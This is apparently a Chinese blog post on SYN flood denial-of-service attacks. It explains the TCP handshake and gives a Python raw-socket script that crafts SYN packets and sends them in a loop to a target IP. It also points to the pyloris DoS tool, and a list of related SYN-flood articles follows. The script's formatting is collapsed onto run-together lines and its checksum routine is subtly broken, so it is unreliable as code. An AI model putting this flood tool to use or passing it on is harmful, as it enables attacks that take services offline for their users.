首先了解TCP和SYN,摘自百科:SYN:同步序列编号(Synchronize Sequence Numbers)。是TCP/IP建立连接时使用的握手信号。在客户机和服务器之间建立正常的TCP网络连接时,客户机首先发出一个SYN消息,服务器使用SYN+ACK应答表示接收到了这个消息,最后客户机再以ACK消息响应。这样在客户机和服务器之间才能建立起可靠的TCP连接,数据才可以在客户机和服务器之间传递。

这个也就是大家经常说的三次握手,那么这就存在一个安全漏洞,SYN Flood利用TCP协议缺陷,发送了大量伪造的TCP连接请求,使得被攻击方资源耗尽,无法及时回应或处理正常的服务请求。一个正常的TCP连接需要三次握手,首先客户端发送一个包含SYN标志的数据包,其后服务器返回一个SYN/ACK的应答包,表示客户端的请求被接受,最后客户端再返回一个确认包ACK,这样才完成TCP连接。在服务器端发送应答包后,如果客户端不发出确认,服务器会等待到超时,期间这些半连接状态都保存在一个空间有限的缓存队列中;如果大量的SYN包发到服务器端后没有应答,就会使服务器端的TCP资源迅速耗尽,导致正常的连接不能进入,甚至会导致服务器的系统崩溃。

import socket,sys
from struct import *def makeCheckSum(msg):s=0for i in range(0,len(msg),2):#ord('a')=97 是chr()函数的配对函数,<<向左移动8位,乘以2的8次方w=(ord(msg[i])<<8) + (ord(msg[i]))s=s+w#0xffff=65535,bin(0xffff).count('1'):二进制16个1#>>向右移16位,除以2的16次方,s&0xffff按位与s=(s>>16) + (s&0xffff)s=~s&0xffffreturn s
#IP头函数
def makeIPHeader(sourceIP,destIP):version=4ihl=5ihlVersion=(version<<4)+ihltypeOfService=0totalLength=20+20id=999flagsOffSet=0ttl=255protocol=socket.IPPROTO_TCPhChecksum=0sAddress=socket.inet_aton(sourceIP)dAddress=socket.inet_aton(destIP)#创建IP头结构体return pack('!BBHHHBBH4s4s',ihlVersion,typeOfService,totalLength,id,flagsOffSet,ttl,protocol,hChecksum,sAddress,dAddress)#TCP头函数
def makeTCPHeader(port,icheckSum='none'):sourcePort=portdAddressPort=80seqNumber=0AckNumber=0dataOffset=5flagFin=0flagSyn=1flagRst=0flagPsh=0flagAck=0flagUrg=0window=socket.htons(5840)if(icheckSum=='none'):checksum=0else:checksum=icheckSumurgentPointer=0dataOffsetResv=(dataOffset<<4)+0flags=(flagUrg<<5)+(flagAck<<4)+(flagPsh<<3)+(flagRst<<2)+(flagSyn<<1)+flagFin#创建TCP头结构体,pack函数转换为C语言中使用的结构体形式return pack('!HHLLBBHHH',sourcePort,dAddressPort,seqNumber,AckNumber,dataOffsetResv,flags,window,checksum,urgentPointer)
try:s=socket.socket(socket.AF_INET,socket.SOCK_RAW,socket.IPPROTO_TCP)
except socket.error as msg:print('套接字不能创建,错误代码:{0}-{1}'.format(str(msg[0])),msg[1])sys.exit()
s.setsockopt(socket.IPPROTO_IP,socket.IP_HDRINCL,1)for i in range(1,20):sourceIP='192.168.3.7'destIP='192.168.3.11'ipHeader=makeIPHeader(sourceIP,destIP)tcpHeader=makeTCPHeader(10000+i)sourceAddr=socket.inet_aton(sourceIP)destAddr=socket.inet_aton(destIP)placeholder=0protocol=socket.IPPROTO_TCPtcpLen=len(tcpHeader)psh=pack('!4s4sBBH',sourceAddr,destAddr,placeholder,protocol,tcpLen)psh=psh+tcpHeaderpsh=str(psh)tcpChecksum=makeCheckSum(psh)tcpHeader=makeTCPHeader(10000+i,tcpChecksum)packet=ipHeader+tcpHeaders.sendto(packet,(destIP,0))'''
s.sendto(packet,(destIP,0))
OSError: [WinError 10022] 提供了一个无效的参数。
'''
'Linux下试下'

可用使用wireshark来查看数据包,作为一个抓包工具,大家想必都有用过,下载地址

pyloris可以作为一个压力测试工具或者DoS的攻击,下载地址:pyloris下载

Python的DoS拒绝服务之TCP/SYN洪水攻击相关推荐

  1. TCP三次握手之-awl工具-SYN洪水攻击

    文章目录 云盾数据 TCP三次握手 TCP报文段的头部格式 实战-使用tcpdump 抓包 tcpdump 常用参数 tcpdmp 抓包 awl -syn-洪水攻击 原理 实战 总结: 云盾数据 - ...

  2. 利用tcp三次握手,使用awl伪装MAC地址进行多线程SYN洪水攻击

    SYN洪水攻击概述: SYN洪水攻击主要源于: tcp协议的三次握手机制 tcp协议面向链接的协议 SYN洪水攻击的过程: 在服务端返回一个确认的SYN-ACK包的时候有个潜在的弊端,如果发起的客户是 ...

  3. linux洪水攻击软件,SYN洪水攻击工具hping SYN-Flooding tool

    这是SYN洪水攻击工具hping SYN-Flooding tool,是一個網路工具,可以用來測試firewall, 網路效能, 觀察遠端主機的回應狀態,包括TCP,UDP,ICMP. 软件介绍 前段 ...

  4. 【网络编程】SYN Flood (SYN洪水攻击)原理及防阻

    转载自: https://blog.csdn.net/jiange_zh/article/details/50446172 第一部分 SYN Flood的基本原理 一.原理 1.TCP握手协议 第一次 ...

  5. linux洪水攻击软件,Linux服务器下对SYN洪水攻击的诊断和阻挡

    1.简介SYN Flood是当前最流行的DoS(拒绝服务攻击)与DDoS(分布式拒绝服务攻击)的方式之一,这是一种利用TCP协议缺陷,发送大量伪造的TCP连接请求,常用假冒的IP或IP号段发来海量的请 ...

  6. 巧用iptables五招免费搞定SYN洪水攻击

    转载来源 :巧用iptables五招免费搞定SYN洪水攻击 :https://www.toutiao.com/i6772397997692027399/ 摘要: SYN Flood是种典型的DoS攻击 ...

  7. Scapy:快速syn洪水攻击(syn flood)

    ()写作不易,记得点个赞哦) 在一个send函数中同时发送多个syn包是提高syn洪水攻击效率的关键,下面将给出一个简单的例子. 常规的写法(使用for循环反复调用send函数发包): #demo.p ...

  8. SYN 洪水攻击如何工作?

    SYN 洪水攻击利用 TCP 连接的握手过程发动攻击.正常情况下,TCP 连接将完成三次握手以建立连接. 首先,客户端向服务器发送 SYN 数据包以发起连接. 接着,服务器通过 SYN/ACK 数据包 ...

  9. 什么是 SYN 洪水攻击?如何防护?

    SYN 洪水(半开连接攻击)是一种拒绝服务 (DDoS) 攻击,旨在耗尽可用服务器资源,致使服务器无法传输合法流量.通过重复发送初始连接请求 (SYN) 数据包,攻击者将可击垮目标服务器计算机上的所有 ...

最新文章

  1. 在 Lua 里 使用 Cocos Studio 导出的 .csb 文件
  2. 在TCP/IP模型中,( )处理关于可靠性、流量控制和错误校正等问题。
  3. LVS NAT 模型配置实例
  4. oracle数据库的字符集更改
  5. 简单的客户机服务器投射模拟
  6. keydown - keypress - keyup 用法和区别
  7. 如何看待苹果2016秋季发布会?
  8. 金蝶K3 WISE所有单据数据库内码及描述对照表
  9. php中文歌词,PHP 爬虫抓取歌词
  10. python调用nmap扫描全端口_python nmap 扫描服务器端口
  11. cp: cannot create regular file ‘/root/queues.conf’: No space left on devic
  12. ERP: ERP系统的作用
  13. Office/Wps日常操作小技巧
  14. 上传webshell(入侵目标页面主机靶机演示)
  15. (php毕业设计)基于php水果销售商店管理系统获取
  16. 工学硕士翻译计算机,赫瑞瓦特大学中英翻译与计算机辅助翻译工具理科硕士入学条件及实习就业...
  17. java 多线程 卖票_编写一个Java 多线程程序,完成三个售票窗口同时出售20张票(如下图所示);...
  18. 【Spring 源码阅读】Spring IoC、AOP 原理小总结
  19. 11月14日火箭vs灰熊视频直播在线观看
  20. 饿汉式 and 懒汉式

热门文章

  1. react项目 npm run eject报错
  2. 相似性度量:机器学习距离公式总结
  3. MAC OS 10.12 安装任意来源应用
  4. 记录webpack commonJs 加载文件规则
  5. 图片 滚动切换效果(五) 高级篇
  6. HTML中利用纯Microsoft Ajax Library做出可调用WebSerives的AutoComplete
  7. GridView中不能用If?
  8. vc显示jpg,gif图像简单方法
  9. AndroidStudio_安卓原生开发_在Androidstudio中查看设备管理器---Android原生开发工作笔记160
  10. npm的安装和更新---npm工作笔记002